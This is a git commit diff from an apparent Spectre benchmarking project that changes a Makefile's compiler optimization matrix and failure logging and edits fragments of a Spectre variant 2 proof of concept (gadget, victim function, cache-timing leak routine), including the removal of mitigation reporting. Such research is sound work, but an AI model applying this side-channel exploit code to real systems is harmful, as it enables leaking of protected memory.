In case of segfault, log a failure instead of nothing.
This commit is contained in:
parent
b2421448a9
commit
64f0c6b318
6
Makefile
6
Makefile
@ -22,7 +22,7 @@ DEPENDENCIES := $(foreach exec,$(EXECUTABLES), $(if $(shell which $(exec) 2> /de
|
|||||||
|
|
||||||
### Generic flags
|
### Generic flags
|
||||||
SRCS= spectre_v1 spectre_v2
|
SRCS= spectre_v1 spectre_v2
|
||||||
CFLAGS= -march=native -g
|
CFLAGS= -march=native
|
||||||
CFLAGS+= -W
|
CFLAGS+= -W
|
||||||
CFLAGS+= -Wall
|
CFLAGS+= -Wall
|
||||||
CFLAGS+= -Werror -Wextra
|
CFLAGS+= -Werror -Wextra
|
||||||
@ -32,7 +32,7 @@ LDFLAGS= -fuse-ld=lld
|
|||||||
|
|
||||||
### Octopus flags
|
### Octopus flags
|
||||||
CCS= clang gcc
|
CCS= clang gcc
|
||||||
OPTIMIZATIONS= 0 1 2 3
|
OPTIMIZATIONS= 0 1 2 3 fast s
|
||||||
RETPOLINE= mretpoline
|
RETPOLINE= mretpoline
|
||||||
UUID:= $(shell uuid)
|
UUID:= $(shell uuid)
|
||||||
RESULTS_FILE:= results-$(UUID).json
|
RESULTS_FILE:= results-$(UUID).json
|
||||||
@ -148,7 +148,7 @@ $(RESULTS_FILE): build
|
|||||||
for p in $(PROGS); do \
|
for p in $(PROGS); do \
|
||||||
for t in $$(seq $(TIMES)); do \
|
for t in $$(seq $(TIMES)); do \
|
||||||
sleep 0.1; \
|
sleep 0.1; \
|
||||||
taskset 01 ./$$p $(FLAGS) >> $@; \
|
(taskset 01 ./$$p $(FLAGS) || printf "{ \"$$p\": false }")>> $@; \
|
||||||
if ! [ "$$p" = "$(lastword $(PROGS))" ]; \
|
if ! [ "$$p" = "$(lastword $(PROGS))" ]; \
|
||||||
then echo ',' >> $@; \
|
then echo ',' >> $@; \
|
||||||
else if ! [ $$t -eq $(TIMES) ]; \
|
else if ! [ $$t -eq $(TIMES) ]; \
|
||||||
|
29
spectre_v2.c
29
spectre_v2.c
@ -94,7 +94,7 @@ unsigned cache_hit_threshold;
|
|||||||
int
|
int
|
||||||
gadget(
|
gadget(
|
||||||
char *addr
|
char *addr
|
||||||
)
|
)
|
||||||
{
|
{
|
||||||
return channel[*addr * GAP]; // speculative loads fetch data into the cache
|
return channel[*addr * GAP]; // speculative loads fetch data into the cache
|
||||||
}
|
}
|
||||||
@ -113,7 +113,7 @@ timed_access(
|
|||||||
{
|
{
|
||||||
uint64_t t0, t1;
|
uint64_t t0, t1;
|
||||||
#pragma GCC diagnostic ignored "-Wuninitialized"
|
#pragma GCC diagnostic ignored "-Wuninitialized"
|
||||||
unsigned int junk = junk;
|
unsigned int junk;
|
||||||
#ifndef NORDTSCP
|
#ifndef NORDTSCP
|
||||||
t0 = __rdtscp(& junk);
|
t0 = __rdtscp(& junk);
|
||||||
junk |= *addr;
|
junk |= *addr;
|
||||||
@ -187,7 +187,8 @@ victim_function(
|
|||||||
int input
|
int input
|
||||||
)
|
)
|
||||||
{
|
{
|
||||||
int junk = 0;
|
#pragma GCC diagnostic ignored "-Wuninitialized"
|
||||||
|
unsigned int junk = junk;
|
||||||
// set up branch history buffer (bhb) by performing >29 taken branches
|
// set up branch history buffer (bhb) by performing >29 taken branches
|
||||||
// see https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html
|
// see https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html
|
||||||
// for details about how the branch prediction mechanism works
|
// for details about how the branch prediction mechanism works
|
||||||
@ -207,7 +208,7 @@ victim_function(
|
|||||||
return result & junk;
|
return result & junk;
|
||||||
}
|
}
|
||||||
|
|
||||||
void
|
static inline void
|
||||||
leak(
|
leak(
|
||||||
char *target_addr,
|
char *target_addr,
|
||||||
uint8_t value[2],
|
uint8_t value[2],
|
||||||
@ -237,7 +238,7 @@ leak(
|
|||||||
#ifndef NOMFENCE
|
#ifndef NOMFENCE
|
||||||
_mm_mfence();
|
_mm_mfence();
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
for (j = 50; j > 0; j--) {
|
for (j = 50; j > 0; j--) {
|
||||||
junk ^= victim_function(&dummy, 0);
|
junk ^= victim_function(&dummy, 0);
|
||||||
}
|
}
|
||||||
@ -388,17 +389,6 @@ main(
|
|||||||
#else
|
#else
|
||||||
printf("\"clflush\": false ");
|
printf("\"clflush\": false ");
|
||||||
#endif
|
#endif
|
||||||
printf("}, \"mitigations\": { ");
|
|
||||||
#ifdef LFENCE_MITIGATION
|
|
||||||
printf("\"lfence\": true, ");
|
|
||||||
#else
|
|
||||||
printf("\"lfence\": false, ");
|
|
||||||
#endif
|
|
||||||
#ifdef MASKING_MITIGATION
|
|
||||||
printf("\"masking\": true ");
|
|
||||||
#else
|
|
||||||
printf("\"masking\": false ");
|
|
||||||
#endif
|
|
||||||
printf("}, ");
|
printf("}, ");
|
||||||
printf("\"threshold\": %d, ", cache_hit_threshold);
|
printf("\"threshold\": %d, ", cache_hit_threshold);
|
||||||
printf("\"success\": %.0f } }",
|
printf("\"success\": %.0f } }",
|
||||||
@ -416,16 +406,9 @@ main(
|
|||||||
#ifndef NOCLFLUSH
|
#ifndef NOCLFLUSH
|
||||||
fprintf(stderr, "CLFLUSH ");
|
fprintf(stderr, "CLFLUSH ");
|
||||||
#endif
|
#endif
|
||||||
#ifdef LFENCE_MITIGATION
|
|
||||||
fprintf(stderr, "LFENCE_MITIGATION ");
|
|
||||||
#endif
|
|
||||||
#ifdef MASKING_MITIGATION
|
|
||||||
fprintf(stderr, "MASKING_MITIGATION ");
|
|
||||||
#endif
|
|
||||||
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n",
|
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n",
|
||||||
cache_hit_threshold,
|
cache_hit_threshold,
|
||||||
100 * successes / (float)strlen(secret));
|
100 * successes / (float)strlen(secret));
|
||||||
target = 0;
|
|
||||||
free(target);
|
free(target);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user